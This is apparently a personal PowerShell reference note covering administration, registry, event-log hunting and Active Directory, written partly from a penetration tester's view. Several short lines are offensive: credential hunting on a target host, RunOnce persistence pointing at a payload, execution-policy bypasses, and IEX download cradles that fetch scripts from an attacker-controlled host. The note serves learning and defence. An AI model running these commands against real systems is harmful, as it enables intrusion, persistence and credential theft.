knowledge

Overview

Windows PowerShell is an object-oriented scripting language and shell designed for system administration and automation in Windows environments. Unlike CMD which works with plain text, PowerShell works with objects that have properties and methods — making it significantly more powerful for automation, filtering, and remote management. It is built into modern Windows and is the primary tool for managing Active Directory, services, processes, and network configurations.


Terminology

TermDefinition
ObjectCore element in PowerShell; contains properties (data) and methods (functions)
PropertyAttribute of an object (e.g., Name, Length, Extension)
MethodFunction associated with an object (e.g., .ToUpper(), .GetType())
CmdletSpecialized PowerShell command in verb-noun format (e.g., Get-Process)
Pipeline (|)Passes output from one cmdlet as input to the next
ModuleCollection of related cmdlets, functions, and scripts
AliasShorthand name for a cmdlet (e.g., ls = Get-ChildItem)

Core Concepts

Accessing PowerShell

  • Windows Search → “PowerShell” → Enter
  • Windows Terminal (modern terminal that supports multiple shells)
  • Windows PowerShell ISE — built-in IDE for writing, debugging, and testing scripts
  • From CMD: type powershell to switch into a PowerShell session

Getting Started

CommandDescription
Get-CommandList all available cmdlets, functions, aliases, and scripts
Get-Command -verb getFilter commands by verb
Get-Command -noun windows*Filter commands by noun
Get-Command -CommandType "Function"Show only functions
Get-Command -Module <ModuleName>See all cmdlets, aliases, and functions exported by a specific module
Get-AliasDisplay all configured aliases
Set-Alias -Name <alias> -Value <cmdlet>Create a custom shorthand alias for a cmdlet
Get-Help <cmdlet>Show help for a cmdlet
Get-Help <cmdlet> -ExamplesShow usage examples for any cmdlet
Get-Help <cmdlet> -onlineOpen Microsoft documentation in browser
Update-HelpUpdate locally cached help documentation

Command History

PowerShell tracks history in two ways:

  1. Session history — commands from the current session only
  2. PSReadLine — persistent history across all sessions (last 4096 commands by default, controlled by $MaximumHistoryCount)

PSReadLine history file location: $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PSReadLine automatically attempts to filter API keys, passwords, and -AsPlainText strings.

CommandDescription
Get-HistoryShow commands run in the current session
r <number>Recall and re-run a command by its history number
Get-Content (Get-PSReadlineOption).HistorySavePathView full persistent command history from PSReadLine
Clear-HostClear the terminal screen

Hotkeys

ShortcutAction
CTRL + RSearchable command history
CTRL + LQuick screen clear
CTRL + ALT + SHIFT + ?Print all keyboard shortcuts
F7TUI scrollable history list
SHIFT + TABAutocomplete backward
EscapeClear the current line while typing

File System Management

CommandAliasesDescription
Get-Item <path>giRetrieve an object — file, folder, registry key, etc.
Get-ChildItem <path>ls, dir, gciList contents of a directory
Set-Location <path>cdChange working directory
Get-LocationpwdPrint current working directory
New-Item -Path <path> -ItemType Filemd, mkdir, niCreate a new file or directory
Set-Item <path>siModify the value of a property on an object
Copy-Item -Path <src> -Destination <dest>copy, cp, ciCopy files or directories
Rename-Item <path> -NewName <name>ren, rniRename a file or directory
Remove-Item <path>rm, del, rmdirDelete a file or directory
Get-Content <file>cat, typeRead and display the contents of a file
Add-Content <file> -Value "<text>"acAppend text to a file without overwriting it
Set-Content <file> -Value "<text>"scOverwrite all contents of a file with new data
Clear-Content <file>clcErase file contents while keeping the file itself
Compare-Object <ref> <diff>diff, compareCompare two objects or files and show differences

Bulk rename example — change all .txt files to .md: Get-ChildItem -Path *.txt | Rename-Item -NewName {$_.name -replace ".txt",".md"}

PowerShell Objects

Everything in PowerShell is an object — a structured item with properties (data) and methods (actions). Understanding objects is essential for filtering and automation.

ConceptDefinition
ObjectAn individual instance of a class (e.g., a running process, a file)
ClassThe blueprint defining what properties and methods an object has
PropertyA data attribute on an object (e.g., Name, Status, Length)
MethodAn action the object can perform (e.g., .Start(), .ToUpper())
CommandDescription
Get-LocalUser administrator | Get-MemberShow all properties and methods available on an object
Get-LocalUser administrator | Select-Object -Property *Return all property values for an object
Get-LocalUser * | Select-Object -Property Name,PasswordLastSetReturn only specific properties
Get-LocalUser * | Sort-Object -Property Name | Group-Object -Property EnabledSort by name, then group by a property value

Piping, Filtering, and Sorting

PowerShell pipelines pass objects between cmdlets, enabling powerful chaining.

OperatorDescriptionExample
| Sort-Object <property>Sort by a property| Sort-Object Length
| Select-Object <props>Return only specified properties| Select-Object Name,Length
| Where-Object -Property <prop> -eq <value>Filter by property value| Where-Object -Property Extension -eq ".txt"
Select-String -Path <path> -Pattern <term>Grep-like pattern search inside files; outputs file name, line number, and matching lineSelect-String -Path C:\logs\* -Pattern "password"

Comparison operators for Where-Object:

OperatorDescription
-eqExact match (case-insensitive)
-neNot equal
-gt / -geGreater than / greater than or equal
-lt / -leLess than / less than or equal
-likeWildcard match (e.g., -like "*admin*")
-containsCheck if any item in a collection matches exactly
-matchRegular expression match
-notMatches if property is blank, does not exist, or is $False

Pipeline chaining operators (PowerShell 7+):

  • && — Run next command only if current one succeeds
  • || — Run next command only if current one fails

Finding Files Recursively

Get-ChildItem -Path C:\Users\<user>\ -File -Recurse -ErrorAction SilentlyContinue

Filter by extension: where {($_.Name -like "*.txt" -or $_.Name -like "*.csv")}

Search inside files for keywords: Get-ChildItem -Path C:\Users\ -Filter "*.txt" -Recurse -File | sls "Password","credential","key"

Pentest Recon — Valuable Locations

When operating on a target host, these locations commonly contain sensitive files:

LocationWhat to Look For
C:\Users\<user>\AppData\Config files, saved credentials, temp saves
C:\Users\<user>\VPN configs, SSH keys (add -Hidden flag to see hidden files)
(Get-PSReadlineOption).HistorySavePathPath to PSReadLine command history file — may contain typed credentials or command sequences
Get-ClipboardCheck current clipboard contents for copied credentials or tokens

Read PowerShell console history directly: Get-Content (Get-PSReadlineOption).HistorySavePath


System Information & Analysis

CommandDescription
Get-ComputerInfoComprehensive system information (OS, hardware, BIOS)
Get-ProcessView all running processes
Get-ServiceGet status of all services
Get-NetTCPConnectionDisplay current TCP connections
Get-FileHash <file>Generate a file hash (default SHA256; use -Algorithm MD5 etc.)

Networking

CommandDescription
Get-NetIPConfigurationFull network interface configuration (IP, gateway, DNS)
Get-NetIPAddressIP address details for each adapter
Get-NetIPInterfaceAll visible adapter properties broken down by address family
Get-NetIPAddress -ifIndex <n>View IP address for a specific interface (get ifIndex from Get-NetIPInterface)
Get-NetNeighborARP-equivalent neighbor table entries
Get-NetRouteCurrent routing table
Set-NetAdapter -Name <name>Set basic adapter properties at layer 2
Set-NetIPInterface -InterfaceIndex <n> -Dhcp DisabledDisable DHCP on an interface to prepare for static IP
Set-NetIPAddress -InterfaceIndex <n> -IPAddress <ip> -PrefixLength <cidr>Assign a static IP; PrefixLength is the CIDR subnet mask (e.g., 24 = 255.255.255.0)
New-NetIPAddress -InterfaceIndex <n> -IPAddress <ip> -PrefixLength <cidr>Create and configure a new IP address on an adapter
Disable-NetAdapter -Name <name>Disable a network adapter
Enable-NetAdapter -Name <name>Re-enable a disabled adapter
Restart-NetAdapter -Name <name>Restart an adapter to apply configuration changes
Test-NetConnection -ComputerName <host>Connectivity test; supports -Port for TCP port checks

User & Group Management

Local Users

CommandDescription
Get-LocalUserList all local user accounts
New-LocalUser -Name <name> -NoPasswordCreate a local user account with no password
$pw = Read-Host -AsSecureStringPrompt for a password and store it securely (hides input)
Set-LocalUser -Name <name> -Password $pw -Description "<desc>"Set a password and description on an existing user
Get-LocalGroupList all local groups
Get-LocalGroupMember -Name "<group>"Show members of a specific local group
Add-LocalGroupMember -Group "<group>" -Member "<user>"Add a user to a local group

Domain Users (requires RSAT ActiveDirectory module)

Install RSAT to get the ActiveDirectory PowerShell module: Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online

Or install only the AD tools: Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0

CommandDescription
Get-ADUser -Filter *List all AD users
Get-ADUser -Identity <name>Get details for a specific user (by SamAccountName, DN, GUID, or SID)
Get-ADUser -Filter {EmailAddress -like '*domain.corp'}Filter users by any AD attribute
New-ADUser -Name <sam> -Surname <last> -GivenName <first> -Enabled $true -AccountPassword (Read-Host -AsSecureString "Password")Create a new AD user
Set-ADUser -Identity <name> -Description "<text>"Modify an attribute on an AD user account
Get-ADUser -Identity <name> -Properties * | Format-TableShow all AD attributes for a user

Service Management

Services are background processes that manage components for the OS and applications. Three categories: Local Services, Network Services, and System Services.

CommandDescription
Get-Help *-ServiceList all available service-related cmdlets
Get-ServiceList all services and their status
Get-Service | ft DisplayName,StatusDisplay services as a compact table
Get-Service | Where-Object {$_.Status -eq "Running"}Filter to only running services
Get-Service | Where-Object DisplayName -like '*Defender*' | ftSearch services by display name
Get-Service spooler | Select-Object -Property Name,StartType,Status,DisplayNameDetailed view of a specific service
Start-Service -Name <service>Start a service
Stop-Service -Name <service>Stop a service
Restart-Service -Name <service>Restart a service
Set-Service -Name <service> -StartType DisabledChange a service’s startup type
Remove-Service <service>Delete a service (PowerShell 7+ only; use sc.exe delete on older versions)

Remote Service Management

CommandDescription
Get-Service -ComputerName <hostname>List services on a remote host
Get-Service -ComputerName <hostname> | Where-Object {$_.Status -eq "Running"}Filter remote services to running only
Invoke-Command -ComputerName <host1>,<host2> -ScriptBlock {Get-Service -Name 'windefend'}Check a specific service on multiple hosts simultaneously

Scheduled Tasks

CommandDescription
Get-ScheduledTaskList all scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -like "\*"}Filter tasks by path
Get-ScheduledTask -TaskName "<name>" | Get-ScheduledTaskInfoGet last run time and result

Working with the Registry

The Windows Registry is a hierarchical database storing configuration for the OS, hardware, and software. PowerShell can navigate the registry like a file system using the HKLM: and HKCU: PSDrive paths.

Registry Hives

HiveAbbreviationStores
HKEY_LOCAL_MACHINEHKLMComputer-wide hardware, OS, and driver settings
HKEY_CURRENT_USERHKCUSettings specific to the currently logged-in user
HKEY_CLASSES_ROOTHKCRFile type associations and COM class registrations
HKEY_USERSHKUDefault user profile and all loaded user profiles
HKEY_CURRENT_CONFIGHKCCHardware profile variance from the default HKLM config

Hive files are stored in C:\Windows\System32\Config\. See https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives for full details.

Reading the Registry

CommandDescription
Get-Item -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE\<key>Read a registry key and list its value names
Get-ItemProperty -Path HKLM:\SOFTWARE\<key>Read all values and data under a key (more readable than Get-Item)
Get-ChildItem -Path HKLM:\SOFTWARE\<key> -RecurseRecursively list all subkeys and values under a path
Get-Item -Path HKLM:\...\Run | Select-Object -ExpandProperty PropertyList the names of all values in a Run key — good for finding persistence

Searching the Registry (reg.exe)

REG QUERY HKCU /F "Password" /t REG_SZ /S /K — search HKCU recursively for key names (/K) containing the word “Password” in string values (/t REG_SZ)

FlagDescription
/F <pattern>Pattern to search for
/t <type>Value type to search (e.g., REG_SZ for strings)
/SSearch recursively through all subkeys
/KSearch key names only (not value data)

Creating and Modifying Registry Keys

CommandDescription
New-Item -Path HKCU:\SOFTWARE\...\RunOnce\ -Name TestKeyCreate a new registry key
New-ItemProperty -Path HKCU:\...\TestKey -Name "access" -PropertyType String -Value "C:\payload.exe"Add a new string value to an existing key
Set-ItemProperty -Path HKCU:\...\TestKey -Name "access" -Value "C:\newpath.exe"Modify the data of an existing registry value
Remove-ItemProperty -Path HKCU:\...\TestKey -Name "access"Delete a specific registry value

reg.exe equivalent for creating a RunOnce value: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\TestKey" /v access /t REG_SZ /d "C:\payload.exe"

Execution Policy

Controls whether PowerShell scripts can execute. Commonly bypassed during engagements.

PolicyDescription
AllSignedAll scripts must be signed by a trusted publisher
BypassNo restrictions; no warnings
DefaultRestricted on desktop; RemoteSigned on servers
RemoteSignedLocal scripts run freely; remote scripts must be signed
RestrictedNo scripts allowed; individual commands only
UndefinedNo policy set; defaults to Restricted
UnrestrictedDefault for non-Windows; unsigned scripts run with a warning
CommandDescription
Get-ExecutionPolicy -ListView policy for all scopes
Set-ExecutionPolicy Bypass -Scope ProcessBypass for current session only
Set-ExecutionPolicy Bypass -Scope CurrentUserBypass for current user permanently

Common execution policy bypass one-liners: powershell -ExecutionPolicy Bypass -File .\script.ps1 powershell -ep bypass -c "IEX (Get-Content script.ps1 -Raw)"

Windows Event Log — Get-WinEvent

Get-WinEvent queries Windows event logs. Use FilterHashtable for efficient server-side filtering rather than piping everything through Where-Object — FilterHashtable pushes the filter to the log provider, which is significantly faster on large logs. See Windows Event Logs for Event ID reference and log architecture.

Basic Queries

CommandDescription
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount, IsClassicLog, IsEnabled, LogMode, LogType | Format-Table -AutoSizeList all logs with metadata — log mode (Circular/Retain/AutoBackup), type (Administrative/Analytical/Debug/Operational), and record counts
Get-WinEvent -ListProvider * | Format-Table -AutoSizeShow all registered log providers
Get-WinEvent -ListLog SecurityGet configuration details for the Security log
Get-WinEvent -LogName 'Security' -MaxEvents 5 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSizeRetrieve the 5 most recent Security log events with key properties
Get-WinEvent -LogName 'Microsoft-Windows-WinRM/Operational' -MaxEvents 30 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSizeQuery a non-default log (WinRM operational events)
Get-WinEvent -LogName 'Microsoft-Windows-WinRM/Operational' -Oldest -MaxEvents 30 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSizeRetrieve the 30 oldest events instead of the most recent

Reading .evtx Files

Query exported or collected .evtx log files — useful for offline forensic analysis and scripted log processing.

Get-WinEvent -Path 'C:\Logs\sample.evtx' -MaxEvents 5 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize

FilterHashtable — Efficient Server-Side Filtering

FilterHashtable pushes filtering to the event log provider (fast). Supports LogName, Path, ID, Level, StartTime, EndTime, Data, and UserID.

# Filter Sysmon for process creation (ID 1) and network connections (ID 3)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1,3} |
  Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize

# Same query against an exported .evtx file
Get-WinEvent -FilterHashtable @{Path='C:\Logs\sysmon.evtx'; ID=1,3} |
  Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize

# Filter by date range (StartTime inclusive, EndTime exclusive)
$startDate = (Get-Date -Year 2023 -Month 5 -Day 28).Date
$endDate = (Get-Date -Year 2023 -Month 6 -Day 3).Date
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1,3; StartTime=$startDate; EndTime=$endDate} |
  Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize

FilterXML — Structured XML Queries

FilterXML supports the same query syntax as Event Viewer’s manual XML filter. Useful when FilterHashtable cannot express the condition (e.g., filtering on specific EventData field values).

# Detect loading of clr.dll or mscoree.dll (Sysmon Event ID 7 — .NET injection indicator)
$Query = @"
<QueryList>
  <Query Id="0">
    <Select Path="Microsoft-Windows-Sysmon/Operational">
      *[System[(EventID=7)]] and *[EventData[Data='mscoree.dll']] or *[EventData[Data='clr.dll']]
    </Select>
  </Query>
</QueryList>
"@
Get-WinEvent -FilterXml $Query | ForEach-Object { Write-Host $_.Message `n }

FilterXPath — XPath-Based Field Filtering

FilterXPath allows targeting specific EventData fields by name — more precise than FilterXML for matching named data elements.

# Find Sysmon Event ID 1 matching a specific Image and CommandLine (e.g., Sysinternals install)
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' `
  -FilterXPath "*[EventData[Data[@Name='Image']='C:\Windows\System32\reg.exe']] and *[EventData[Data[@Name='CommandLine']='`"C:\Windows\system32\reg.exe`" ADD HKCU\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f']]" |
  Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize

# Find Sysmon network connections (ID 3) to a specific destination IP
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' `
  -FilterXPath "*[System[EventID=3] and EventData[Data[@Name='DestinationIp']='<destination-ip>']]"

Parsing Event XML — Extracting Specific Fields

Get-WinEvent events expose full XML via .ToXml(). Parse this to extract specific named data fields into structured PowerShell objects for further filtering and analysis.

# Extract SourceIP, DestinationIP, and ProcessGuid from all Sysmon network connection events,
# then filter for a specific destination IP
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=3} |
ForEach-Object {
  $xml = [xml]$_.ToXml()
  $eventData = $xml.Event.EventData.Data
  New-Object PSObject -Property @{
    SourceIP      = $eventData | Where-Object {$_.Name -eq "SourceIp"}      | Select-Object -ExpandProperty '#text'
    DestinationIP = $eventData | Where-Object {$_.Name -eq "DestinationIp"} | Select-Object -ExpandProperty '#text'
    ProcessGuid   = $eventData | Where-Object {$_.Name -eq "ProcessGuid"}   | Select-Object -ExpandProperty '#text'
    ProcessId     = $eventData | Where-Object {$_.Name -eq "ProcessId"}     | Select-Object -ExpandProperty '#text'
  }
} | Where-Object {$_.DestinationIP -eq "<destination-ip>"}
# ProcessGuid can be used to pivot back to the originating process (cross-reference Event ID 1)

Property-Based Filtering

Event objects expose data via the .Properties[] array. Each Sysmon event type has a fixed property order — index 21 on Event ID 1 is ParentCommandLine. Useful for quick scripted hunting without XML parsing.

# See all available properties for a single event (discovery step)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} -MaxEvents 1 |
  Select-Object -Property *

# Find all Sysmon process creation events where the parent used -enc (encoded PowerShell)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} |
  Where-Object {$_.Properties[21].Value -like "*-enc*"} | Format-List
# Properties[21] = ParentCommandLine for Sysmon Event ID 1

# Hunt for share creation events across a folder of exported .evtx files
Get-WinEvent -FilterHashtable @{Path='C:\Logs\LateralMovement\*'} |
  Where-Object {$_.ID -like '5142'} | Select-Object -Property *

See Log Fundamentals for key event IDs. Refer to https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ for the full event ID encyclopedia.

More Get-WinEvent examples: https://4sysops.com/archives/search-the-event-log-with-the-get-winevent-powershell-cmdlet/

WMI Cmdlets

WMI provides deep access to hardware, OS, processes, services, and configuration. Get-CimInstance is the modern replacement for Get-WmiObject.

CommandDescription
Get-WmiObject -Class Win32_OperatingSystemDetailed OS information
Get-WmiObject -Class Win32_OperatingSystem | select Version,BuildNumberQuick OS version check
Get-WmiObject -Class Win32_ProcessAll running processes
Get-WmiObject -Class Win32_ServiceAll services
Get-WmiObject -Class Win32_BiosBIOS information
Get-WmiObject -Class Win32_UserAccountLocal user accounts
Get-WmiObject -Class Win32_ComputerSystemComputer name, domain, manufacturer
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled}Active network adapters with IP config
Get-CimInstance -ClassName Win32_OperatingSystemModern equivalent of Get-WmiObject
Invoke-WmiMethod -Path "CIM_DataFile.Name='<src>'" -Name Rename -ArgumentList "<dst>"Rename a file via WMI (return 0 = success)

Download Cradles & Web Interaction

Load and execute scripts in memory without writing to disk — commonly used in post-exploitation.

MethodCommand
Download and execute from URLIEX (New-Object Net.WebClient).DownloadString('http://<host>/script.ps1')
Download file to disk (WebClient)(New-Object Net.WebClient).DownloadFile('http://<host>/file', 'C:\path\file')
Invoke-WebRequest (download)Invoke-WebRequest -Uri 'http://<host>/file' -OutFile C:\path\file
Load local script into memoryIEX (Get-Content .\script.ps1 -Raw)
Import module and runImport-Module .\PowerView.ps1 then call functions directly
Inline execution after import.\PowerView.ps1; Get-LocalGroup | fl

Invoke-WebRequest (aliased as wget, iwr, curl) supports GET, POST, file download, authentication, and session management.

Inspect the response object with Get-Member: Invoke-WebRequest -Uri "http://<target>" -Method GET | Get-Member

Show only images from a page: Invoke-WebRequest -Uri "http://<target>" -Method GET | fl Images

Serving files from an attack machine (Linux) for download on target: python3 -m http.server 8000 → then download with Invoke-WebRequest -Uri "http://<attacker-ip>:8000/tool.ps1" -OutFile "C:\tool.ps1"

Permissions & ACLs

CommandDescription
Get-Acl -Path <path>View ACL on a file or directory
Get-Acl -Path <path> | Format-ListFull formatted ACL output
Get-Acl -Path HKLM:\System\CurrentControlSet\Services\<svc> | Format-ListView ACL on a registry service key

Module Management

CommandDescription
Get-ModuleList all modules currently loaded in the session
Get-Module -ListAvailableShow all modules installed but not yet imported
Import-Module <path or name>Load a module into the current session (enables its cmdlets)
$env:PSModulePathShow the directories PowerShell searches for modules
Find-Module -Name "<name>"Search PowerShell Gallery for a module
Install-Module -Name "<name>"Download and install a module from PowerShell Gallery (requires admin)

Add a module file to C:\Users\<user>\Documents\WindowsPowerShell\Modules\ to make it permanently available.

Module file extensions:

  • .ps1 — executable PowerShell script
  • .psm1 — PowerShell module file; defines what functions a module contains
  • .psd1 — PowerShell data file; module manifest with metadata (version, author, dependencies, exports)

Notable PowerShell Modules for Pentesters

ModulePurpose
ActiveDirectoryOfficial Microsoft module for managing AD users, groups, and computers
AdminToolboxCommunity collection for sysadmins (AD, Exchange, network management)
Empire / Situational AwarenessPost-exploitation framework; provides C2 and enumeration capabilities
InveighNetwork spoofing and MitM attacks (LLMNR/NBT-NS poisoning)
BloodHound / SharpHoundAD environment visualization; maps attack paths using graph analysis

PowerShell Gallery: https://www.powershellgallery.com/

Remote Execution

CommandDescription
Invoke-Command -ComputerName <host> -ScriptBlock { <command> }Execute a command on a remote host via WinRM
Enter-PSSession -ComputerName <host> -Credential <user> -Authentication NegotiateStart an interactive PowerShell session on a remote host
Test-WSMan -ComputerName <host>Check if WinRM is reachable on a remote host (no authentication)
Test-WSMan -ComputerName <host> -Authentication NegotiateTest WinRM with authentication

Enter-PSSession can also be used from Linux if PowerShell Core is installed. Once connected to a Windows CMD session via SSH, type powershell to upgrade to a PowerShell session.

WinRM hardening recommendations: restrict TrustedHosts to specific IPs, enforce HTTPS transport, and use Kerberos authentication on domain-joined systems. See Windows Remote Management.

Active Directory Commands

CommandDescription
Set-ADAccountPassword <user> -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -VerboseReset a user’s AD password
Set-ADUser -ChangePasswordAtLogon $true -Identity <user> -VerboseForce password reset at next logon
gpupdate /forceForce sync of Group Policy Objects on a computer

Scripting & Automation

Scripts vs Modules

ScriptModule
File type.ps1.psm1 (main) + .psd1 (manifest)
ContainsIndividual cmdlets and functionsCollection of scripts, functions, manifests, resources
UsageRun directly with .\script.ps1Imported with Import-Module then call its functions

A module is a packaged collection — it can include multiple script files, a manifest defining dependencies and exports, and help documentation.

Module Structure

A PowerShell module requires four components:

  1. A directory in $env:PSModulePath containing all files
  2. A .psd1 manifest declaring metadata, prerequisites, and exports
  3. A .psm1 code file with functions and logic
  4. Optional: help files, additional scripts, and resources

Create a manifest: New-ModuleManifest -Path <path.psd1> -PassThru

The -PassThru flag displays the generated manifest content immediately. Only ModuleVersion is required; all other fields are optional.

Running Scripts

  • Run a script file directly: .\scriptname.ps1
  • Import a module for the session: Import-Module .\module.psm1
  • Inline execution: .\module.ps1; Invoke-FunctionName

See the Execution Policy section above for bypassing script execution restrictions.



References / Images